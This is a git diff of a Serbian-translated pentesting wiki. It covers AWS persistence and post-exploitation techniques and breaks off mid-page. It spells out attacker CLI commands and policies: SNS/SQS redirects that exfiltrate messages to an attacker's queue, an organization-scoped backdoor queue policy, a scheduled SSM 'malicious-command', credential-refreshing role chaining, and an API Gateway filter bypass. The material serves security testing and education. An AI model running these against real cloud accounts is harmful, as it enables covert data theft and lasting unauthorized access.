+- Podesite filter da radi na MessageBody i da se poklapa samo sa `secret=true`: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}' +``` + +- Opcionalna prikrivenost: omogućite RawMessageDelivery tako da samo raw payload stigne u prijemnik: + +```bash +aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true +``` + +- Verifikacija: objavite dve poruke i potvrdite da je samo prva isporučena u red napadača. Primer payload-a: + +```json +{"secret":"true","data":"exfil"} +{"secret":"false","data":"benign"} +``` + +- Čišćenje: otkažite pretplatu i obrišite SQS red napadača ako je kreiran za testiranje persistencije. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md deleted file mode 100644 index 58d215082..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence.md +++ /dev/null @@ -1,37 +0,0 @@ -# AWS - SQS Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## SQS - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-sqs-and-sns-enum.md -{{#endref}} - -### Korišćenje politike resursa - -U SQS-u morate naznačiti sa IAM politikom **ko ima pristup za čitanje i pisanje**. Moguće je naznačiti spoljne naloge, ARN uloga, ili **čak "\*"**.\ -Sledeća politika daje svima u AWS-u pristup svemu u redu pod nazivom **MyTestQueue**: -```json -{ -"Version": "2008-10-17", -"Id": "__default_policy_ID", -"Statement": [ -{ -"Sid": "__owner_statement", -"Effect": "Allow", -"Principal": { -"AWS": "*" -}, -"Action": ["SQS:*"], -"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" -} -] -} -``` -> [!NOTE] -> Možete čak **pokrenuti Lambda funkciju u nalogu napadača svaki put kada se nova poruka** stavi u red (morali biste je ponovo staviti) na neki način. Za ovo pratite ove upute: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md new file mode 100644 index 000000000..6fc985adc --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/README.md @@ -0,0 +1,47 @@ +# AWS - SQS Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SQS + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-sqs-and-sns-enum.md +{{#endref}} + +### Korišćenje resource policy + +U SQS morate odrediti IAM policy-jem **ko ima pristup za čitanje i pisanje**. Moguće je navesti spoljne naloge, ARN uloga, ili **čak "\*"**.\ +Sledeća politika daje svima u AWS pristup svemu u redu (queue) nazvanom **MyTestQueue**: +```json +{ +"Version": "2008-10-17", +"Id": "__default_policy_ID", +"Statement": [ +{ +"Sid": "__owner_statement", +"Effect": "Allow", +"Principal": { +"AWS": "*" +}, +"Action": ["SQS:*"], +"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue" +} +] +} +``` +> [!NOTE] +> Možete čak i **trigger a Lambda in the attacker's account every time a new message** svaki put kada se novi message stavi u queue (trebalo bi ga ponovo re-put). Za ovo pratite ova uputstva: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html) + +### Više SQS Persistence Techniques + +{{#ref}} +aws-sqs-dlq-backdoor-persistence.md +{{#endref}} + +{{#ref}} +aws-sqs-orgid-policy-backdoor.md +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md new file mode 100644 index 000000000..bd66a9cc6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md @@ -0,0 +1,71 @@ +# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy + +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristite SQS Dead-Letter Queues (DLQs) za tajno preusmeravanje podataka iz victim source queue tako što ćete podesiti njen RedrivePolicy da pokazuje na queue koji kontroliše napadač. Sa niskim maxReceiveCount i izazivanjem ili čekanjem na uobičajene greške u obradi, poruke se automatski preusmeravaju u attacker DLQ bez menjanja producers ili Lambda event source mappings. + +## Zloupotrebljene dozvole +- sqs:SetQueueAttributes na victim source queue (za postavljanje RedrivePolicy) +- sqs:SetQueueAttributes na attacker DLQ (za postavljanje RedriveAllowPolicy) +- Opcionalno za ubrzanje: sqs:ReceiveMessage na source queue +- Opcionalno za podešavanje: sqs:CreateQueue, sqs:SendMessage + +## Tok u istom nalogu (allowAll) + +Priprema (nalog napadača ili kompromitovani principal): +```bash +REGION=us-east-1 +# 1) Create attacker DLQ +ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text) +ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text) + +# 2) Allow any same-account source queue to use this DLQ +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}' +``` +Izvršavanje (pokrenuto kao kompromitovani principal u nalogu žrtve): +```bash +# 3) Point victim source queue to attacker DLQ with low retries +VICTIM_SRC_URL= +ATTACKER_DLQ_ARN= +aws sqs set-queue-attributes \ +--queue-url "$VICTIM_SRC_URL" --region $REGION \ +--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}' +``` +Ubrzanje (opciono): +```bash +# 4) If you also have sqs:ReceiveMessage on the source queue, force failures +for i in {1..2}; do \ +aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \ +--max-number-of-messages 10 --visibility-timeout 0; \ +done +``` +Validacija: +```bash +# 5) Confirm messages appear in attacker DLQ +aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--max-number-of-messages 10 --attribute-names All --message-attribute-names All +``` +Primer dokaza (Atributi uključuju DeadLetterQueueSourceArn): +```json +{ +"MessageId": "...", +"Body": "...", +"Attributes": { +"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..." +} +} +``` +## Cross-Account Variant (byQueue) +Podesite RedriveAllowPolicy na attacker DLQ tako da dozvoli samo određene victim source queue ARNs: +```bash +VICTIM_SRC_ARN= +aws sqs set-queue-attributes \ +--queue-url "$ATTACKER_DLQ_URL" --region $REGION \ +--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}' +``` +## Impact +- Diskretna, trajna data exfiltration/persistence putem automatskog preusmeravanja neuspelih poruka sa victim SQS source queue u attacker-controlled DLQ, uz minimalnu operacionalnu buku i bez promena kod producers ili Lambda mappings. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md new file mode 100644 index 000000000..4fea5fbd6 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-orgid-policy-backdoor.md @@ -0,0 +1,38 @@ +# AWS - SQS OrgID Policy Backdoor + +{{#include ../../../../banners/hacktricks-training.md}} + +Iskoristite resource policy SQS reda da tiho dodelite Send, Receive i ChangeMessageVisibility bilo kojem principalu koji pripada ciljnoj AWS Organization koristeći uslov aws:PrincipalOrgID. Ovo stvara skrivenu putanju ograničenu na organizaciju (org-scoped) koja često zaobilazi kontrole koje gledaju samo eksplicitne account ili role ARNs ili star principals. + +### Backdoor policy (prikačite na SQS queue policy) +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Sid": "OrgScopedBackdoor", +"Effect": "Allow", +"Principal": "*", +"Action": [ +"sqs:ReceiveMessage", +"sqs:SendMessage", +"sqs:ChangeMessageVisibility", +"sqs:GetQueueAttributes" +], +"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME", +"Condition": { +"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" } +} +} +] +} +``` +### Koraci +- Nabavite ID organizacije pomoću AWS Organizations API. +- Dohvatite ARN SQS queue-a i postavite queue policy uključujući gore navedenu izjavu. +- Sa bilo kog principal-a koji pripada toj organizaciji, pošaljite i primite poruku u SQS queue-u da biste potvrdili pristup. + +### Uticaj +- Skriveni pristup u celoj organizaciji za čitanje i pisanje SQS poruka sa bilo kog naloga u navedenoj AWS Organization. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md deleted file mode 100644 index a569a0e1b..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence.md +++ /dev/null @@ -1,27 +0,0 @@ -# AWS - SSM Persistencija - -{{#include ../../../banners/hacktricks-training.md}} - -## SSM - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md -{{#endref}} - -### Korišćenje ssm:CreateAssociation za persistenciju - -Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association kako bi automatski izvršavao komande na EC2 instancama koje upravlja SSM. Ove asocijacije se mogu konfigurisati da se izvršavaju u fiksnim intervalima, što ih čini pogodnim za persistenciju sličnu backdoor-u bez interaktivnih sesija. -```bash -aws ssm create-association \ ---name SSM-Document-Name \ ---targets Key=InstanceIds,Values=target-instance-id \ ---parameters commands=["malicious-command"] \ ---schedule-expression "rate(30 minutes)" \ ---association-name association-name -``` -> [!NOTE] -> Ova metoda postojanosti funkcioniše sve dok je EC2 instanca upravljana od strane Systems Manager-a, SSM agent radi, i napadač ima dozvolu da kreira asocijacije. Ne zahteva interaktivne sesije ili eksplicitne ssm:SendCommand dozvole. **Važno:** Parametar `--schedule-expression` (npr., `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za trenutnu ili jednokratnu izvršenje, potpuno izostavite `--schedule-expression` — asocijacija će se izvršiti jednom nakon kreiranja. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md new file mode 100644 index 000000000..3867f8300 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-ssm-persistence/README.md @@ -0,0 +1,27 @@ +# AWS - SSM Perssitence + +{{#include ../../../../banners/hacktricks-training.md}} + +## SSM + +Za više informacija pogledajte: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +{{#endref}} + +### Using ssm:CreateAssociation for persistence + +Napadač sa dozvolom **`ssm:CreateAssociation`** može kreirati State Manager Association koja automatski izvršava komande na EC2 instancama kojima upravlja SSM. Ove associations mogu se konfigurisati da se pokreću u fiksnim intervalima, što ih čini pogodnim za backdoor-like persistence bez interaktivnih sesija. +```bash +aws ssm create-association \ +--name SSM-Document-Name \ +--targets Key=InstanceIds,Values=target-instance-id \ +--parameters commands=["malicious-command"] \ +--schedule-expression "rate(30 minutes)" \ +--association-name association-name +``` +> [!NOTE] +> Ovaj metod perzistencije radi sve dok je EC2 instanca upravljana od strane Systems Manager, SSM agent radi, i napadač ima dozvolu za kreiranje associations. Ne zahteva interaktivne sesije niti eksplicitne `ssm:SendCommand` dozvole. **Važno:** Parametar `--schedule-expression` (npr. `rate(30 minutes)`) mora poštovati minimalni interval AWS-a od 30 minuta. Za neposredno ili jednokratno izvršenje, potpuno izostavite `--schedule-expression` — association će se izvršiti jednom nakon kreiranja. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md deleted file mode 100644 index b02007fd6..000000000 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence.md +++ /dev/null @@ -1,21 +0,0 @@ -# AWS - Step Functions Persistence - -{{#include ../../../banners/hacktricks-training.md}} - -## Step Functions - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-stepfunctions-enum.md -{{#endref}} - -### Backdooring step funkcija - -Backdoor-ujte step funkciju da izvršava bilo koju tehniku persistencije tako da svaki put kada se izvrši, pokreće vaše maliciozne korake. - -### Backdooring aliasa - -Ako AWS nalog koristi alias-e za pozivanje step funkcija, bilo bi moguće modifikovati alias da koristi novu backdoor-ovanu verziju step funkcije. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md new file mode 100644 index 000000000..26baf35dd --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-step-functions-persistence/README.md @@ -0,0 +1,21 @@ +# AWS - Step Functions Persistence + +{{#include ../../../../banners/hacktricks-training.md}} + +## Step Functions + +For more information check: + +{{#ref}} +../../aws-services/aws-stepfunctions-enum.md +{{#endref}} + +### Step function Backdooring + +Backdoor a step function da bi izvršavala bilo koji persistence trik, tako da će se svaki put kada se izvrši pokrenuti vaši maliciozni koraci. + +### Backdooring aliases + +Ako AWS nalog koristi aliases za pozivanje step functions, moguće je izmeniti alias da koristi novu backdoored verziju step function. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md similarity index 67% rename from src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md rename to src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md index 669f86322..da40b2769 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sts-persistence/README.md @@ -1,36 +1,36 @@ # AWS - STS Persistence -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## STS -Za više informacija pristupite: +Za više informacija pogledajte: {{#ref}} -../aws-services/aws-sts-enum.md +../../aws-services/aws-sts-enum.md {{#endref}} ### Assume role token -Privremeni tokeni se ne mogu listati, tako da održavanje aktivnog privremenog tokena predstavlja način za održavanje postojanosti. +Privremeni tokeni se ne mogu izlistati, tako da održavanje aktivnog privremenog tokena predstavlja način za persistence.
aws sts get-session-token --duration-seconds 129600
 
-# Sa MFA
+# With MFA
 aws sts get-session-token \
 --serial-number  \
 --token-code 
 
-# Ime hardverskog uređaja obično je broj sa zadnje strane uređaja, kao što je GAHT12345678
-# Ime SMS uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:sms-mfa/username
-# Ime virtuelnog uređaja je ARN u AWS, kao što je arn:aws:iam::123456789012:mfa/username
+# Hardware device name is usually the number from the back of the device, such as GAHT12345678
+# SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
+# Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
 
### Role Chain Juggling -[**Role chaining je priznata AWS funkcija**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često korišćena za održavanje stealth postojanosti. Uključuje sposobnost da **preuzmete ulogu koja zatim preuzima drugu**, potencijalno se vraćajući na inicijalnu ulogu na **cikličan način**. Svaki put kada se preuzme uloga, polje isteka kredencijala se osvežava. Kao rezultat, ako su dve uloge konfigurisane da međusobno preuzimaju jedna drugu, ova postavka omogućava večnu obnovu kredencijala. +[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), često se koristi za održavanje stealth persistence-a. Podrazumeva mogućnost da **assume a role which then assumes another**, pri čemu se potencijalno može vratiti na početnu ulogu u **cyclical manner**. Svaki put kada se uloga preuzme, polje za isteka credentials-a se osvežava. Kao posledica, ako su dve uloge konfigurisane da međusobno assume-ju jedna drugu, ova postavka omogućava stalno obnavljanje credentials-a. -Možete koristiti ovaj [**alat**](https://github.com/hotnops/AWSRoleJuggler/) da nastavite sa prebacivanjem uloga: +You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going: ```bash ./aws_role_juggler.py -h usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]] @@ -40,11 +40,11 @@ optional arguments: -r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...] ``` > [!CAUTION] -> Imajte na umu da [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) skripta iz tog Github repozitorijuma ne pronalazi sve načine na koje se lanac uloga može konfigurisati. +> Imajte na umu da skripta [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) iz tog Github repozitorijuma ne pronalazi sve načine na koje se lanac uloga može konfigurisati.
-Kod za izvođenje Role Juggling iz PowerShell-a +Kod za izvođenje Role Juggling pomoću PowerShell-a ```bash # PowerShell script to check for role juggling possibilities using AWS CLI @@ -124,4 +124,4 @@ Write-Host "Role juggling check complete." ```
-{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md similarity index 50% rename from src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md rename to src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md index dd962f6cb..8db387a39 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-api-gateway-post-exploitation/README.md @@ -1,46 +1,46 @@ # AWS - API Gateway Post Exploitation -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## API Gateway Za više informacija pogledajte: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} -### Pristup neizloženim API-ima +### Access unexposed APIs -Možete kreirati endpoint na [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno putem EC2 mašine) i dodeliti sigurnosnu grupu koja omogućava sve veze.\ -Zatim, sa EC2 mašine moći ćete da pristupite endpoint-u i tako pozovete gateway API koji prethodno nije bio izložen. +Možete kreirati endpoint u [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) sa servisom `com.amazonaws.us-east-1.execute-api`, izložiti endpoint u mreži kojoj imate pristup (potencijalno preko EC2 mašine) i dodeliti security group koja dozvoljava sve konekcije.\ +Zatim, sa EC2 mašine bićete u mogućnosti da pristupite endpointu i samim tim pozovete gateway API koji ranije nije bio izložen. -### Obilaženje Request body passthrough +### Bypass Request body passthrough -Ova tehnika je pronađena u [**ovom CTF izveštaju**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). +Ova tehnika je pronađena u [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp). -Kao što je navedeno u [**AWS dokumentaciji**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, podrazumevano, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** header-a zahteva, će proslediti zahtev na backend bez transformacije. +Kao što je naznačeno u [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) u sekciji `PassthroughBehavior`, po defaultu, vrednost **`WHEN_NO_MATCH`**, prilikom provere **Content-Type** hedera zahteva, proslediće zahtev ka back end-u bez transformacije. -Stoga, u CTF-u je API Gateway imao integracioni šablon koji je **sprečavao da se zastavica exfiltrira** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`: +Dakle, u CTF-u API Gateway je imao integration template koji je **preventing the flag from being exfiltrated** u odgovoru kada je zahtev poslat sa `Content-Type: application/json`: ```yaml RequestTemplates: application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}' ``` -Međutim, slanje zahteva sa **`Content-type: text/json`** bi sprečilo taj filter. +Međutim, slanje zahteva sa **`Content-type: text/json`** bi onemogućilo taj filter. -Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljnu dynamoDB upit bez ikakvih ograničenja slanjem POST zahteva sa upitom u telu i korišćenjem header-a `X-HTTP-Method-Override: GET`: +Na kraju, pošto je API Gateway dozvoljavao samo `Get` i `Options`, bilo je moguće poslati proizvoljan dynamoDB upit bez ikakvog ograničenja slanjem POST zahteva sa upitom u telu i koristeći header `X-HTTP-Method-Override: GET`: ```bash curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}' ``` ### Usage Plans DoS -U sekciji **Enumeration** možete videti kako da **dobijete plan korišćenja** ključeva. Ako imate ključ i on je **ograničen** na X korišćenja **mesečno**, možete **samo da ga koristite i izazovete DoS**. +U sekciji **Enumeration** možeš videti kako da **dohvatiš usage plan** ključeva. Ako imaš key i on je **ograničen** na X upotreba **po mesecu**, možeš ga jednostavno **koristiti i izazvati DoS**. -**API Key** samo treba da bude **uključen** unutar **HTTP header-a** nazvanog **`x-api-key`**. +The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**. ### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment` -Napadač sa dozvolama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **modifikovati postojeći Gateway Response da uključi prilagođene header-e ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**. +Napadač sa permisijama `apigateway:UpdateGatewayResponse` i `apigateway:CreateDeployment` može **izmeniti postojeći Gateway Response da uključi custom headers ili response templates koji leak osetljive informacije ili izvrše maliciozne skripte**. ```bash API_ID="your-api-id" RESPONSE_TYPE="DEFAULT_4XX" @@ -51,14 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima. +**Potential Impact**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima. -> [!NAPOMENA] -> Potrebno testiranje +> [!NOTE] +> Potrebno je testiranje ### `apigateway:UpdateStage`, `apigateway:CreateDeployment` -Napadač sa dozvolama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **modifikovati postojeću API Gateway fazu da preusmeri saobraćaj na drugu fazu ili promeni postavke keširanja kako bi stekao neovlašćen pristup keširanim podacima**. +Napadač sa permisijama `apigateway:UpdateStage` i `apigateway:CreateDeployment` može **izmeniti postojeći API Gateway stage da preusmeri saobraćaj na drugi stage ili promeni podešavanja keširanja kako bi dobio neovlašćen pristup keširanim podacima**. ```bash API_ID="your-api-id" STAGE_NAME="Prod" @@ -71,12 +71,12 @@ aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` **Potencijalni uticaj**: Neovlašćen pristup keširanim podacima, ometanje ili presretanje API saobraćaja. -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje ### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment` -Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **modifikovati odgovor metode postojećeg API Gateway REST API metoda da uključuje prilagođene zaglavlja ili šablone odgovora koji otkrivaju osetljive informacije ili izvršavaju zlonamerne skripte**. +Napadač sa dozvolama `apigateway:PutMethodResponse` i `apigateway:CreateDeployment` može **izmeniti odgovor metode postojećeg API Gateway REST API metoda kako bi uključio prilagođena zaglavlja ili predloške odgovora koji leak osetljive informacije ili izvršavaju maliciozne skripte**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -89,14 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Curjenje osetljivih informacija, izvršavanje malicioznih skripti ili neovlašćen pristup API resursima. +**Potencijalni uticaj**: Otkrivanje osetljivih informacija, izvršavanje zlonamernih skripti ili neovlašćen pristup API resursima. -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje ### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment` -Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **modifikovati podešavanja API Gateway REST API-a da onemogući logovanje ili promeni minimalnu TLS verziju, potencijalno slabeći bezbednost API-a**. +Napadač sa dozvolama `apigateway:UpdateRestApi` i `apigateway:CreateDeployment` može **izmeniti podešavanja API Gateway REST API-ja kako bi onemogućio beleženje ili promenio minimalnu verziju TLS-a, potencijalno oslabljujući bezbednost API-ja**. ```bash API_ID="your-api-id" @@ -106,14 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Potencijalni uticaj**: Slabljenje bezbednosti API-ja, što potencijalno omogućava neovlašćen pristup ili izlaganje osetljivih informacija. +**Potencijalni uticaj**: Oslabljivanje sigurnosti API-ja, potencijalno omogućavanje neovlašćenog pristupa ili izlaganje osetljivih informacija. -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje ### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey` -Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan` i `apigateway:CreateUsagePlanKey` može **kreirati nove API ključeve, povezati ih sa planovima korišćenja, a zatim koristiti ove ključeve za neovlašćen pristup API-jima**. +Napadač sa dozvolama `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, i `apigateway:CreateUsagePlanKey` može **kreirati nove API keys, povezati ih sa usage plans, i zatim koristiti te ključeve za neovlašćen pristup API-ima**. ```bash # Create a new API key API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id') @@ -124,9 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp # Associate the API key with the usage plan aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY ``` -**Potencijalni uticaj**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola. +**Potential Impact**: Neovlašćen pristup API resursima, zaobilaženje bezbednosnih kontrola. -> [!NAPOMENA] +> [!NOTE] > Potrebno testiranje -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md deleted file mode 100644 index 788baa123..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudfront-post-exploitation.md +++ /dev/null @@ -1,31 +0,0 @@ -# AWS - CloudFront Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## CloudFront - -Za više informacija pogledajte: - -{{#ref}} -../aws-services/aws-cloudfront-enum.md -{{#endref}} - -### Man-in-the-Middle - -Ovaj [**blog 